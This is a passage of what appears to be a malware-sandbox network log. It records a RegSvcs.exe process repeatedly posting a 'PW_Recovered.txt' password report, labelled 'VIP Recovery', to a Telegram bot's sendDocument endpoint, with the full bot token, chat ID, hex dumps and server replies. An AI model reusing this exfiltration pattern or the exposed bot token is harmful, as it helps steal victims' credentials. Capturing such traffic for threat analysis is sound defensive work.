{"ok":true,"result":{"message_id":12807,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.5	61640	149.154.167.220	443	5688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:23:54 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcf5efb3c6be30 Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:23:54 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 66 35 65 66 62 33 63 36 62 65 33 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 31 37 Data Ascii: --------------------------8dcf5efb3c6be30Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:17
2024-09-19 10:23:54 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:23:54 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:23:54 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 30 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12808,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.5	61641	149.154.167.220	443	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:23:54 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcf5adc4041a3c Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:23:54 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 66 35 61 64 63 34 30 34 31 61 33 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 30 34 Data Ascii: --------------------------8dcf5adc4041a3cContent-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:04
2024-09-19 10:23:55 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:23:55 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:23:55 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 31 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12810,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.5	61644	149.154.167.220	443	5688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:23:59 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcf68d694733eb Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:23:59 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 66 36 38 64 36 39 34 37 33 33 65 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 31 37 Data Ascii: --------------------------8dcf68d694733ebContent-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:17
2024-09-19 10:23:59 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:23:59 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:23:59 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 31 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12811,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.5	61645	149.154.167.220	443	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:23:59 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcf64364b823ab Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:23:59 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 66 36 34 33 36 34 62 38 32 33 61 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 30 34 Data Ascii: --------------------------8dcf64364b823abContent-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:04
2024-09-19 10:23:59 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:23:59 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:23:59 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 31 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12812,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.5	61649	149.154.167.220	443	5688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:24:03 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcf718b1633c98 Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:24:03 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 66 37 31 38 62 31 36 33 33 63 39 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 31 37 Data Ascii: --------------------------8dcf718b1633c98Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:17
2024-09-19 10:24:03 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:24:03 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:24:03 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 31 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12813,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.5	61648	149.154.167.220	443	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:24:03 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcf6c726581a75 Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:24:03 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 66 36 63 37 32 36 35 38 31 61 37 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 30 34 Data Ascii: --------------------------8dcf6c726581a75Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:04
2024-09-19 10:24:03 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:24:03 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:24:03 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 31 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12814,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.5	61653	149.154.167.220	443	5688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:24:08 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcf7aab7810d9f Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:24:08 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 66 37 61 61 62 37 38 31 30 64 39 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 31 37 Data Ascii: --------------------------8dcf7aab7810d9fContent-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:17
2024-09-19 10:24:08 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:24:08 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:24:08 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 31 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12816,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.5	61652	149.154.167.220	443	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:24:08 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcf75e097196ac Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
